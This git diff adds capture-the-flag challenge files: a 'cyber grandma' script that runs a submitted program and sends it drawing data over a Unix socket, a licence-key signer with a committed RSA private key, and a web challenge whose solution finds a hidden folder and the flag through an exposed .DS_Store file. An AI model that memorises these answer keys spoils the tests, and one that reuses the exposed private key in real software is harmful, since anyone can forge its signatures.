+imported by: + grandma.py + • re + • sre_compile + +
+ +
+ +
+ + ssl +SourceModule
+imports: + _ssl + • base64 + • calendar + • collections + • enum + • errno + • os + • socket + • sys + • time + • warnings + +
+ + +
+ +
+ + stat +SourceModule
+imports: + _stat + +
+
+imported by: + asyncio.base_events + • asyncio.unix_events + • distutils.dep_util + • distutils.file_util + • genericpath + • glob + • grandma.py + • netrc + • ntpath + • os + • pathlib + • posixpath + • shutil + • tarfile + • tempfile + • test.support + • test.support.os_helper + • zipfile + +
+ +
+ +
+ + statistics +SourceModule
+imports: + _statistics + • bisect + • collections + • decimal + • fractions + • itertools + • math + • numbers + • operator + • random + +
+
+imported by: + random + +
+ +
+ +
+ + string +SourceModule
+imports: + _string + • collections + • re + +
+ + +
+ +
+ + stringprep +SourceModule
+imports: + unicodedata + +
+
+imported by: + encodings.idna + +
+ +
+ +
+ + struct +SourceModule
+imports: + _struct + +
+ + +
+ +
+ + subprocess +SourceModule
+imports: + _posixsubprocess + • _winapi + • builtins + • contextlib + • errno + • fcntl + • grp + • io + • msvcrt + • os + • pwd + • select + • selectors + • signal + • sys + • threading + • time + • types + • warnings + +
+ + +
+ +
+ + sys (builtin module)
+imported by: + _aix_support + • _collections_abc + • _compression + • _osx_support + • _pydecimal + • argparse + • ast + • asyncio + • asyncio.base_events + • asyncio.coroutines + • asyncio.events + • asyncio.format_helpers + • asyncio.futures + • asyncio.streams + • asyncio.unix_events + • asyncio.windows_events + • asyncio.windows_utils + • base64 + • bdb + • calendar + • cmd + • code + • codecs + • collections + • concurrent.futures.process + • contextlib + • ctypes + • ctypes._aix + • ctypes._endian + • ctypes.util + • dataclasses + • datetime + • dis + • distutils + • distutils.ccompiler + • distutils.fancy_getopt + • distutils.log + • distutils.spawn + • distutils.sysconfig + • distutils.text_file + • distutils.util + • doctest + • email._header_value_parser + • email.generator + • email.iterators + • email.policy + • encodings + • encodings.rot_13 + • encodings.utf_16 + • encodings.utf_32 + • enum + • fractions + • ftplib + • getopt + • getpass + • gettext + • glob + • grandma.py + • gzip + • http.client + • http.server + • importlib + • importlib._bootstrap_external + • importlib.metadata + • importlib.util + • inspect + • lib2to3.pgen2.driver + • lib2to3.pgen2.tokenize + • lib2to3.pytree + • lib2to3.refactor + • linecache + • locale + • logging + • mimetypes + • multiprocessing + • multiprocessing.connection + • multiprocessing.context + • multiprocessing.dummy + • multiprocessing.forkserver + • multiprocessing.heap + • multiprocessing.managers + • multiprocessing.popen_spawn_win32 + • multiprocessing.process + • multiprocessing.queues + • multiprocessing.reduction + • multiprocessing.resource_sharer + • multiprocessing.resource_tracker + • multiprocessing.spawn + • multiprocessing.synchronize + • multiprocessing.util + • ntpath + • optparse + • os + • pathlib + • pdb + • pickle + • pkgutil + • platform + • posixpath + • pprint + • py_compile + • pydoc + • pyi_rth_inspect.py + • pyi_rth_subprocess.py + • quopri + • runpy + • selectors + • shlex + • shutil + • socket + • socketserver + • sre_compile + • ssl + • subprocess + • sysconfig + • tarfile + • tempfile + • test.support + • test.support.import_helper + • test.support.os_helper + • test.support.testresult + • threading + • tkinter + • tokenize + • traceback + • types + • typing + • unittest.case + • unittest.loader + • unittest.main + • unittest.result + • unittest.runner + • unittest.suite + • urllib.parse + • urllib.request + • uu + • warnings + • weakref + • webbrowser + • xml.etree.ElementTree + • xml.parsers.expat + • xml.sax + • xml.sax._exceptions + • xml.sax.expatreader + • xml.sax.saxutils + • xmlrpc.client + • zipfile + • zipimport + +
+ +
+ +
+ + tarfile +SourceModule
+imports: + argparse + • builtins + • bz2 + • copy + • grp + • gzip + • io + • lzma + • os + • pwd + • re + • shutil + • stat + • struct + • sys + • time + • zlib + +
+
+imported by: + shutil + +
+ +
+ +
+ + tempfile +SourceModule
+imports: + _thread + • errno + • functools + • io + • os + • random + • shutil + • stat + • sys + • types + • warnings + • weakref + +
+ + +
+ +
+ + termios /usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so
+imported by: + getpass + • tty + +
+ +
+ +
+ + textwrap +SourceModule
+imports: + re + +
+
+imported by: + argparse + • importlib.metadata + • importlib.metadata._adapters + • optparse + • pydoc + +
+ +
+ + + + + +
+ + token +SourceModule
+imported by: + grandma.py + • inspect + • tokenize + +
+ +
+ +
+ + tokenize +SourceModule
+imports: + argparse + • builtins + • codecs + • collections + • functools + • io + • itertools + • re + • sys + • token + +
+
+imported by: + grandma.py + • importlib._bootstrap_external + • inspect + • linecache + • pdb + • pydoc + +
+ +
+ + + +
+ + tracemalloc +SourceModule
+imports: + _tracemalloc + • collections.abc + • fnmatch + • functools + • linecache + • pickle + • posixpath + +
+
+imported by: + test.support + • warnings + +
+ +
+ + + +
+ + typing +SourceModule
+imports: + abc + • collections + • collections.abc + • contextlib + • functools + • operator + • re + • sys + • types + +
+ + +
+ +
+ + unicodedata (builtin module)
+imported by: + encodings.idna + • sre_parse + • stringprep + • test.support.os_helper + • urllib.parse + +
+ +
+ +
+ + urllib +Package + +
+ +
+ + urllib.error +SourceModule
+imports: + urllib + • urllib.response + +
+
+imported by: + grandma.py + • urllib.request + +
+ +
+ +
+ + urllib.parse +SourceModule
+imports: + collections + • re + • sys + • types + • unicodedata + • urllib + • warnings + +
+ + +
+ +
+ + urllib.request +SourceModule
+imports: + _scproxy + • base64 + • bisect + • contextlib + • email + • email.utils + • fnmatch + • ftplib + • getpass + • hashlib + • http.client + • http.cookiejar + • io + • mimetypes + • nturl2path + • os + • posixpath + • re + • socket + • ssl + • string + • sys + • tempfile + • time + • urllib + • urllib.error + • urllib.parse + • urllib.response + • warnings + • winreg + +
+
+imported by: + grandma.py + • http.cookiejar + • test.support + • urllib.robotparser + • xml.sax.saxutils + +
+ +
+ +
+ + urllib.response +SourceModule
+imports: + tempfile + • urllib + +
+
+imported by: + grandma.py + • urllib.error + • urllib.request + +
+ +
+ +
+ + urllib.robotparser +SourceModule
+imports: + collections + • time + • urllib + • urllib.parse + • urllib.request + +
+
+imported by: + grandma.py + +
+ +
+ +
+ + uu +SourceModule
+imports: + binascii + • optparse + • os + • sys + +
+
+imported by: + email.message + +
+ +
+ + + + + +
+ + winreg +MissingModule
+imported by: + importlib._bootstrap_external + • mimetypes + • platform + • urllib.request + +
+ +
+ +
+ + xml +Package
+imports: + xml.sax.expatreader + • xml.sax.xmlreader + +
+
+imported by: + xml.etree + • xml.parsers + • xml.sax + +
+ +
+ + + +
+ + xml.etree.ElementInclude +SourceModule
+imports: + copy + • urllib.parse + • xml.etree + • xml.etree.ElementTree + +
+
+imported by: + _elementtree + +
+ +
+ +
+ + xml.etree.ElementPath +SourceModule
+imports: + re + • xml.etree + +
+
+imported by: + _elementtree + • xml.etree + • xml.etree.ElementTree + +
+ +
+ +
+ + xml.etree.ElementTree +SourceModule
+imports: + _elementtree + • collections + • collections.abc + • contextlib + • io + • pyexpat + • re + • sys + • warnings + • xml.etree + • xml.etree.ElementPath + • xml.parsers + • xml.parsers.expat + +
+ + +
+ +
+ + xml.etree.cElementTree +SourceModule
+imports: + xml.etree + • xml.etree.ElementTree + +
+
+imported by: + _elementtree + +
+ +
+ +
+ + xml.parsers +Package
+imports: + xml + +
+ + +
+ +
+ + xml.parsers.expat +SourceModule
+imports: + pyexpat + • sys + • xml.parsers + +
+
+imported by: + plistlib + • xml.etree.ElementTree + • xml.sax.expatreader + • xmlrpc.client + +
+ +
+ +
+ + xml.sax +Package
+imports: + 'org.python' + • io + • os + • sys + • xml + • xml.sax + • xml.sax._exceptions + • xml.sax.expatreader + • xml.sax.handler + • xml.sax.saxutils + • xml.sax.xmlreader + +
+ + +
+ +
+ + xml.sax._exceptions +SourceModule
+imports: + 'java.lang' + • sys + • xml.sax + +
+
+imported by: + xml.sax + • xml.sax.expatreader + • xml.sax.xmlreader + +
+ +
+ +
+ + xml.sax.expatreader +SourceModule
+imports: + _weakref + • sys + • weakref + • xml.parsers + • xml.parsers.expat + • xml.sax + • xml.sax._exceptions + • xml.sax.handler + • xml.sax.saxutils + • xml.sax.xmlreader + +
+
+imported by: + xml + • xml.sax + +
+ +
+ +
+ + xml.sax.handler +SourceModule
+imports: + xml.sax + +
+
+imported by: + xml.sax + • xml.sax.expatreader + • xml.sax.saxutils + • xml.sax.xmlreader + +
+ +
+ +
+ + xml.sax.saxutils +SourceModule
+imports: + codecs + • io + • os + • sys + • urllib.parse + • urllib.request + • xml.sax + • xml.sax.handler + • xml.sax.xmlreader + +
+
+imported by: + xml.sax + • xml.sax.expatreader + • xml.sax.xmlreader + +
+ +
+ +
+ + xml.sax.xmlreader +SourceModule
+imports: + xml.sax + • xml.sax._exceptions + • xml.sax.handler + • xml.sax.saxutils + +
+
+imported by: + xml + • xml.sax + • xml.sax.expatreader + • xml.sax.saxutils + +
+ +
+ +
+ + zipfile +SourceModule
+imports: + argparse + • binascii + • bz2 + • contextlib + • importlib.util + • io + • itertools + • lzma + • os + • pathlib + • posixpath + • py_compile + • shutil + • stat + • struct + • sys + • threading + • time + • warnings + • zlib + +
+
+imported by: + importlib.metadata + • importlib.readers + • shutil + +
+ +
+ +
+ + zipimport +SourceModule
+imports: + _frozen_importlib + • _frozen_importlib_external + • _imp + • _io + • _warnings + • importlib.readers + • marshal + • os + • sys + • time + • zlib + +
+
+imported by: + pkgutil + +
+ +
+ +
+ + zlib (builtin module)
+imported by: + encodings.zlib_codec + • gzip + • shutil + • tarfile + • test.support + • zipfile + • zipimport + +
+ +
+ + + diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/data.py b/super-hightech-paint/super-hightech-paint-2/grandma/data.py new file mode 100644 index 0000000..987611e --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/data.py @@ -0,0 +1,587 @@ +data = [ +(799,207,745,277), +(745,277,694,343), +(694,343,632,423), +(632,423,576,496), +(576,496,559,517), +(559,517,556,522), +(556,522,546,523), +(546,523,514,517), +(514,517,474,508), +(474,508,446,502), +(446,502,412,494), +(412,494,371,485), +(371,485,335,477), +(335,477,302,470), +(302,470,261,460), +(261,460,255,465), +(255,465,257,480), +(257,480,259,483), +(187,472,196,475), +(196,475,208,476), +(208,476,219,479), +(219,479,258,487), +(258,487,300,496), +(300,496,341,505), +(341,505,388,514), +(388,514,439,524), +(439,524,487,534), +(487,534,494,536), +(494,536,503,537), +(503,537,509,537), +(382,59,367,69), +(367,69,357,76), +(357,76,343,85), +(343,85,341,85), +(341,85,331,89), +(331,89,320,101), +(320,101,316,108), +(316,108,314,113), +(314,113,309,136), +(309,136,310,141), +(310,141,310,150), +(310,150,310,171), +(310,171,310,189), +(310,189,309,195), +(309,195,313,201), +(313,201,319,213), +(319,213,322,235), +(322,235,321,243), +(321,243,318,244), +(318,244,310,245), +(310,245,287,245), +(287,245,266,247), +(266,247,252,248), +(252,248,223,255), +(223,255,216,262), +(216,262,201,273), +(201,273,188,273), +(188,273,178,274), +(178,274,165,283), +(165,283,144,304), +(144,304,118,324), +(118,324,113,329), +(783,537,779,537), +(779,537,770,537), +(770,537,761,535), +(761,535,745,533), +(745,533,720,528), +(720,528,691,523), +(691,523,666,519), +(666,519,647,516), +(647,516,626,512), +(626,512,602,508), +(602,508,597,508), +(597,508,585,513), +(585,513,577,523), +(405,257,408,262), +(408,262,418,258), +(418,258,430,245), +(430,245,438,232), +(438,232,438,226), +(438,226,438,222), +(438,222,440,217), +(440,217,437,202), +(437,202,436,196), +(436,196,432,183), +(432,183,422,180), +(422,180,394,185), +(394,185,387,184), +(387,184,372,190), +(372,190,360,197), +(360,197,350,208), +(350,208,341,222), +(341,222,333,247), +(333,247,327,262), +(327,262,319,274), +(319,274,314,278), +(314,278,301,284), +(301,284,244,305), +(244,305,237,309), +(793,183,774,208), +(774,208,706,296), +(706,296,656,360), +(656,360,582,455), +(582,455,541,508), +(541,508,543,516), +(543,516,547,520), +(547,520,550,523), +(564,190,564,186), +(564,186,564,181), +(564,181,562,165), +(562,165,561,154), +(561,154,556,142), +(556,142,552,135), +(552,135,552,133), +(552,133,539,125), +(539,125,526,122), +(526,122,519,122), +(519,122,516,122), +(516,122,506,120), +(506,120,491,121), +(491,121,475,125), +(475,125,470,127), +(470,127,460,131), +(460,131,454,133), +(454,133,440,142), +(440,142,427,155), +(427,155,421,160), +(421,160,417,163), +(557,522,568,523), +(568,523,589,525), +(589,525,607,527), +(607,527,631,530), +(631,530,648,532), +(648,532,666,534), +(666,534,682,535), +(682,535,689,537), +(689,537,692,537), +(692,537,714,537), +(283,375,264,355), +(264,355,250,346), +(250,346,238,327), +(238,327,237,313), +(237,313,237,302), +(237,302,237,299), +(237,299,234,297), +(234,297,229,299), +(229,299,213,305), +(213,305,201,311), +(201,311,165,325), +(165,325,157,324), +(157,324,142,327), +(142,327,127,331), +(127,331,125,331), +(125,331,116,329), +(116,329,105,333), +(105,333,93,341), +(93,341,83,345), +(83,345,64,356), +(64,356,32,402), +(32,402,30,422), +(30,422,31,438), +(31,438,31,441), +(543,329,550,336), +(550,336,551,339), +(551,339,551,352), +(551,352,551,378), +(551,378,546,403), +(546,403,543,415), +(543,415,539,437), +(539,437,538,459), +(576,247,578,247), +(578,247,590,232), +(590,232,591,230), +(591,230,597,220), +(597,220,600,199), +(600,199,600,193), +(600,193,601,180), +(601,180,601,177), +(601,177,600,165), +(600,165,601,162), +(601,162,604,154), +(604,154,606,133), +(606,133,606,128), +(606,128,605,123), +(605,123,603,119), +(603,119,596,115), +(596,115,601,109), +(601,109,599,102), +(599,102,595,96), +(595,96,591,87), +(591,87,589,84), +(589,84,586,77), +(586,77,581,67), +(581,67,571,65), +(571,65,568,63), +(568,63,562,58), +(562,58,552,51), +(552,51,550,49), +(550,49,541,42), +(541,42,529,32), +(529,32,525,32), +(525,32,512,32), +(512,32,501,28), +(501,28,493,25), +(493,25,488,23), +(488,23,465,22), +(465,22,458,21), +(458,21,454,22), +(454,22,437,28), +(437,28,431,34), +(431,34,421,42), +(421,42,402,49), +(402,49,393,52), +(393,52,382,59), +(440,221,451,225), +(451,225,453,226), +(453,226,470,230), +(470,230,472,238), +(472,238,461,245), +(461,245,432,262), +(432,262,418,274), +(418,274,405,289), +(405,289,383,311), +(383,311,380,312), +(380,312,376,314), +(376,314,368,319), +(368,319,357,327), +(357,327,342,336), +(342,336,332,340), +(332,340,330,339), +(653,363,647,359), +(647,359,636,351), +(636,351,630,346), +(630,346,620,339), +(620,339,609,334), +(609,334,594,326), +(594,326,574,311), +(574,311,565,307), +(565,307,559,303), +(437,195,448,194), +(448,194,476,186), +(476,186,475,176), +(475,176,467,174), +(467,174,450,168), +(450,168,431,166), +(431,166,410,170), +(410,170,395,177), +(395,177,390,184), +(391,402,392,405), +(392,405,406,416), +(406,416,450,427), +(450,427,478,415), +(478,415,489,415), +(489,415,509,432), +(509,432,515,442), +(515,442,527,449), +(527,449,529,451), +(529,451,538,460), +(554,142,550,143), +(550,143,540,143), +(540,143,521,145), +(521,145,503,145), +(503,145,476,142), +(476,142,465,142), +(484,256,463,280), +(463,280,448,296), +(448,296,446,303), +(446,303,441,324), +(441,324,436,340), +(436,340,435,342), +(328,343,324,373), +(324,373,312,402), +(312,402,311,406), +(311,406,315,406), +(315,406,334,405), +(334,405,367,403), +(367,403,388,401), +(388,401,406,400), +(406,400,407,400), +(407,400,423,398), +(423,398,426,398), +(426,398,436,400), +(436,400,459,406), +(459,406,465,403), +(465,403,493,380), +(493,380,508,370), +(508,370,521,361), +(521,361,526,355), +(526,355,533,345), +(533,345,543,329), +(543,329,543,327), +(543,327,560,298), +(560,298,570,273), +(570,273,573,258), +(573,258,571,238), +(571,238,570,235), +(330,340,326,343), +(326,343,316,349), +(316,349,286,374), +(286,374,277,384), +(277,384,249,417), +(249,417,218,458), +(218,458,217,459), +(375,317,384,342), +(384,342,388,357), +(388,357,398,381), +(398,381,399,384), +(399,384,406,394), +(406,394,409,399), +(1,435,31,441), +(31,441,49,445), +(49,445,67,449), +(67,449,85,452), +(85,452,121,460), +(121,460,156,467), +(156,467,183,471), +(183,471,196,470), +(196,470,208,476), +(570,234,583,216), +(583,216,574,196), +(574,196,530,196), +(530,196,528,229), +(528,229,570,235), +(118,406,107,406), +(107,406,78,422), +(78,422,69,446), +(69,446,68,448), +(106,20,97,25), +(97,25,89,45), +(89,45,91,55), +(91,55,98,62), +(98,62,107,64), +(107,64,112,54), +(112,54,102,46), +(427,351,437,360), +(437,360,443,364), +(443,364,465,376), +(465,376,468,377), +(468,377,487,379), +(487,379,491,381), +(407,401,417,407), +(417,407,439,414), +(439,414,467,411), +(467,411,470,408), +(526,277,531,297), +(531,297,527,310), +(527,310,525,327), +(525,327,526,342), +(152,21,148,20), +(148,20,135,45), +(135,45,148,59), +(148,59,163,56), +(223,480,221,469), +(221,469,195,435), +(195,435,171,418), +(171,418,141,407), +(141,407,122,405), +(122,405,118,406), +(118,406,111,416), +(111,416,122,424), +(122,424,125,427), +(125,427,150,457), +(150,457,151,466), +(172,430,161,420), +(161,420,145,420), +(145,420,142,433), +(142,433,156,450), +(156,450,160,467), +(543,159,535,160), +(535,160,514,158), +(514,158,486,157), +(486,157,481,157), +(507,306,498,302), +(498,302,479,301), +(479,301,474,301), +(474,301,457,305), +(457,305,468,312), +(468,312,489,320), +(489,320,491,321), +(491,321,510,314), +(510,314,515,313), +(271,11,267,7), +(267,7,259,12), +(259,12,258,22), +(258,22,263,37), +(263,37,260,43), +(260,43,250,46), +(376,204,397,207), +(397,207,415,210), +(415,210,420,216), +(420,216,422,238), +(422,238,420,243), +(420,243,398,256), +(398,256,388,253), +(805,13,794,37), +(794,37,787,38), +(787,38,779,27), +(779,27,775,21), +(559,226,551,217), +(551,217,546,217), +(546,217,533,221), +(533,221,538,227), +(538,227,541,228), +(541,228,553,222), +(553,222,554,221), +(51,18,52,31), +(52,31,53,63), +(53,63,54,64), +(687,5,680,27), +(680,27,685,33), +(685,33,693,31), +(693,31,696,31), +(480,181,487,183), +(487,183,500,203), +(500,203,485,227), +(485,227,474,232), +(836,28,833,34), +(833,34,839,48), +(839,48,833,56), +(833,56,823,54), +(575,8,570,22), +(570,22,567,32), +(567,32,571,37), +(571,37,582,35), +(609,35,614,34), +(614,34,626,26), +(626,26,627,15), +(627,15,601,10), +(601,10,593,17), +(593,17,589,17), +(256,46,259,59), +(259,59,256,70), +(256,70,261,77), +(261,77,268,78), +(833,28,829,27), +(829,27,827,23), +(827,23,833,14), +(833,14,835,7), +(835,7,830,1), +(830,1,827,4), +(651,14,649,26), +(649,26,650,42), +(650,42,652,49), +(187,24,188,36), +(188,36,190,61), +(318,69,310,46), +(310,46,304,27), +(304,27,300,23), +(300,23,297,28), +(297,28,293,58), +(293,58,294,70), +(544,167,519,166), +(519,166,512,167), +(539,16,535,16), +(535,16,520,28), +(520,28,531,53), +(531,53,541,54), +(541,54,547,49), +(487,93,488,82), +(488,82,476,65), +(476,65,473,63), +(385,247,388,256), +(388,256,388,268), +(388,268,388,286), +(388,286,379,310), +(379,310,379,312), +(238,19,228,11), +(228,11,217,16), +(217,16,216,19), +(216,19,218,33), +(218,33,221,45), +(221,45,224,54), +(724,13,724,27), +(724,27,724,43), +(724,43,725,45), +(192,450,186,448), +(186,448,171,432), +(171,432,182,431), +(182,431,192,440), +(192,440,193,443), +(193,443,197,462), +(197,462,197,470), +(356,22,352,38), +(352,38,342,66), +(393,142,365,142), +(479,302,488,306), +(488,306,507,307), +(507,307,517,308), +(517,308,521,309), +(519,309,511,320), +(511,320,492,322), +(508,170,510,181), +(510,181,510,195), +(201,21,197,17), +(197,17,189,19), +(189,19,176,21), +(176,21,174,22), +(529,75,509,94), +(509,94,511,97), +(585,21,582,27), +(582,27,584,50), +(584,50,585,59), +(502,277,485,272), +(485,272,478,272), +(411,96,429,112), +(429,112,433,116), +(322,282,338,299), +(338,299,340,301), +(416,13,412,27), +(412,27,411,31), +(411,31,415,36), +(415,36,426,34), +(577,116,564,118), +(564,118,560,123), +(330,24,346,33), +(346,33,351,37), +(74,65,48,66), +(48,66,38,68), +(467,14,453,50), +(453,50,451,58), +(449,218,462,213), +(462,213,469,212), +(469,212,475,219), +(475,219,473,225), +(473,225,470,225), +(470,225,464,226), +(433,103,441,110), +(441,110,448,122), +(68,18,52,18), +(52,18,45,17), +(45,17,39,18), +(39,18,31,19), +(471,391,468,392), +(468,392,451,401), +(490,215,477,212), +(477,212,471,213), +(454,87,468,99), +(468,99,470,104), +(491,52,469,52), +(771,9,772,13), +(772,13,773,24), +(773,24,766,38), +(742,43,719,48), +(719,48,712,49), +(528,262,532,267), +(532,267,530,274), +(530,274,519,278), +(519,278,515,280), +(667,12,654,13), +(654,13,642,12), +(642,12,638,12), +(544,90,533,99), +(533,99,529,102), +(702,20,699,22), +(699,22,697,38), +(697,38,700,46), +(607,21,609,50), +(445,16,458,36), +(500,197,517,198), +(517,198,524,201), +(502,176,502,170), +(502,170,496,163), +(462,381,451,394), +(429,13,428,24), +(428,24,427,41), +(736,11,725,12), +(725,12,718,12), +(718,12,715,12), +(554,524,555,535), +(555,535,555,537), +(482,412,467,406), +(467,406,464,405), +(219,34,229,36), +(427,41,427,53), +(401,60,376,60), +(376,60,360,61), +(115,43,107,47), +(454,218,457,221), +(457,221,461,225), +(383,236,390,243), +(406,235,392,242), +(392,242,386,247), +(396,229,397,237), +(522,174,522,183), +(293,45,310,46) +] diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/drawer.py b/super-hightech-paint/super-hightech-paint-2/grandma/drawer.py new file mode 100644 index 0000000..b009b10 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/drawer.py @@ -0,0 +1,21 @@ +from svgpathtools import svg2paths +import struct, time + + +PIPE_NAME = "qvnjernldscd" +PIPE_PATH = "/tmp/" + PIPE_NAME +DATA_PATH = "./data.c" + +paths, attrs = svg2paths('../grandma.svg') + +def draw(f, x, y, x2, y2): + # f.write(struct.pack("iiii", int(x),int(y),int(x2),int(y2))) + f.write(f"({int(x)},{int(y)},{int(x2)},{int(y2)}),\n") + +with open(DATA_PATH, 'w') as f: + for path in paths: + print(type(path)) + for e in path: + draw(f, e.start.real / 2, e.start.imag / 2, e.end.real / 2, e.end.imag / 2) + #time.sleep(0.01) + #f.flush() diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py b/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py new file mode 100644 index 0000000..82ed192 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/grandma.py @@ -0,0 +1,81 @@ +#!/bin/python3 + +import os +import subprocess +from tempfile import mkdtemp +from threading import Thread +import socket +import struct +import sys +import data +import time + +SOCK_ADDR = "/tmp/gtk_buffer" + +def grandma_say(*args): + print(f"*beep* *boob* {' '.join(list(args))}") + +def send_data(conn): + for line in data.data: + conn.send(struct.pack('iiiii', 3, *line)) + time.sleep(0.01) + +def main(): + if len(sys.argv) != 2: + print(f"Grandma linkup error: invalid syntax\nUsage: cyber-grandma-linkup ") + sys.exit(1) + + if os.path.exists(SOCK_ADDR): + os.remove(SOCK_ADDR) + + s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + s.bind(SOCK_ADDR) + s.listen(1) + # Timeout is 1 second + s.settimeout(0.3) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + + # Spawn the subprocess + try: + dir = mkdtemp() + if subprocess.call(["cp", sys.argv[1], dir], stderr=subprocess.PIPE, stdout=subprocess.PIPE) != 0: + raise ValueError + print("Uploading program to secure location...") + print("[## ] 10%") + time.sleep(0.3) + print("[####### ] 50%") + time.sleep(0.3) + print("[############ ] 89%") + time.sleep(0.3) + print("[##############] 100%") + grandma_say("Ah, I received the program, let me just run it real quick.") + process = subprocess.Popen([f"{dir}/{sys.argv[1]}"]) + except Exception: + grandma_say("I don't think that's a program") + s.close() + os.remove(SOCK_ADDR) + sys.exit(1) + + try: + conn, addr = s.accept() + + data = conn.recv(1024) + + # Check if the type is correct, yes this is janky + if struct.unpack('iiiii', data)[0] != 2: + raise ValueError + + grandma_say("Awesome, look at the cool stuff I can draw") + send_data(conn) + + conn.close() + grandma_say("Alright, thanks, see you at christmas!") + except Exception as e: + grandma_say("I can't seem to connect with this program") + + s.close() + os.remove(SOCK_ADDR) + + +if __name__ == '__main__': + main() diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/grandma.spec b/super-hightech-paint/super-hightech-paint-2/grandma/grandma.spec new file mode 100644 index 0000000..000db57 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/grandma.spec @@ -0,0 +1,44 @@ +# -*- mode: python ; coding: utf-8 -*- + + +block_cipher = None + + +a = Analysis( + ['grandma.py'], + pathex=[], + binaries=[], + datas=[], + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher, + noarchive=False, +) +pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + [], + name='grandma', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/grandma.svg b/super-hightech-paint/super-hightech-paint-2/grandma/grandma.svg new file mode 100644 index 0000000..54a1b48 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/grandma.svg @@ -0,0 +1,118 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/keys/generator.py b/super-hightech-paint/super-hightech-paint-2/keys/generator.py new file mode 100644 index 0000000..bc1aec6 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/keys/generator.py @@ -0,0 +1,23 @@ +import os, subprocess, sys, random, string, base64 + + +def main(): + s = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + print(f"string generated: '{s}'") + + infile = "/tmp/infile" + outfile = "/tmp/outfile" + + with open(infile, 'w+') as f: + f.write(s) + + os.system(f"openssl dgst -sign key.pem -keyform PEM -sha256 -out {outfile} -binary {infile}") + os.remove(infile) + with open(outfile, 'rb') as f: + sign = f.read() + sign = base64.b64encode(sign).decode() + print(f"key: SHTP-{s}-{sign}") + os.remove(outfile) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/super-hightech-paint/super-hightech-paint-2/keys/key.pem b/super-hightech-paint/super-hightech-paint-2/keys/key.pem new file mode 100644 index 0000000..6e15a72 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/keys/key.pem @@ -0,0 +1,9 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIBOwIBAAJBAL9v4j6aGhikcIUQdNUq4Qj9hkLvRpvC3jXMmnivS1niM9ws3f7Z +haKqQyUUCb0HPWWal5FQYAhvj27A9wLcH3kCAwEAAQJAbBxwZbA7ep0rGkqP4G6l +xaD/eL+OXZqwSSuyNOOyJyC4Rj23g8nqi2vpuOtF+RhykCED8MEAqfrpE+aXpnv2 +sQIhAO1539IyIpBdK4SBSrO9B9h+Q60UM+C+nvpgJP3RPDE1AiEAzl6pqiFMSnUL +nM28vbc+QAMWAfWP3FWHKMuvGgVPobUCIQCnC5fZr9KIYkF+T8RQcqPWMdtBIHjt +mqkRzhe3QztoEQIgWYrRazRPee8XPs42Gssrg3LTVb5K0Xt6zcSzEUNErhECIQDe +4r+U7FKZqk73EX5R2TSJ4stRxmKzOFT0AtHdcUPpfA== +-----END RSA PRIVATE KEY----- diff --git a/super-hightech-paint/super-hightech-paint-2/keys/key.pub b/super-hightech-paint/super-hightech-paint-2/keys/key.pub new file mode 100644 index 0000000..e014173 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/keys/key.pub @@ -0,0 +1,4 @@ +-----BEGIN PUBLIC KEY----- +MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL9v4j6aGhikcIUQdNUq4Qj9hkLvRpvC +3jXMmnivS1niM9ws3f7ZhaKqQyUUCb0HPWWal5FQYAhvj27A9wLcH3kCAwEAAQ== +-----END PUBLIC KEY----- diff --git a/super-hightech-paint/super-hightech-paint-2/super-hightech-paint b/super-hightech-paint/super-hightech-paint-2/super-hightech-paint new file mode 100755 index 0000000..8256d5b Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/super-hightech-paint differ diff --git a/the-best-os-in-the-world/README.md b/the-best-os-in-the-world/README.md new file mode 100644 index 0000000..c6edf8c --- /dev/null +++ b/the-best-os-in-the-world/README.md @@ -0,0 +1,12 @@ +# Challenge title +The best OS in the world + +## Text +I have some friends who are still using Windows and Linux... +I mean everyone knows that macOS is the best operating system, right? + +## Files +None, just the URL from the website + +## How to deploy +Run the docker image diff --git a/the-best-os-in-the-world/SOLUTION.md b/the-best-os-in-the-world/SOLUTION.md new file mode 100644 index 0000000..17279a7 --- /dev/null +++ b/the-best-os-in-the-world/SOLUTION.md @@ -0,0 +1,21 @@ +## Dificulty +TODO + +## How to solve +The main page mentions something about a proprietary format with a store. +The page also mentions that it was created on mac. +Apple has a proprietary file format called "DS_Store" that saves metadata about folders. +If you visit `/.DS_Store`, you find a hidden file. + +You can either parse this file using a script, (for example using [this](https://github.com/gehaxelt/Python-dsstore)), or just figure out by looking at the file that there is a folder `0n3_m0re_th1ng`. +Visiting `/0n3_m0re_th1ng` will return the flag. + +## Hints +### Hint #1 (medium hint) +I've been looking into proprietary filesystems lately. Interesting stuff. 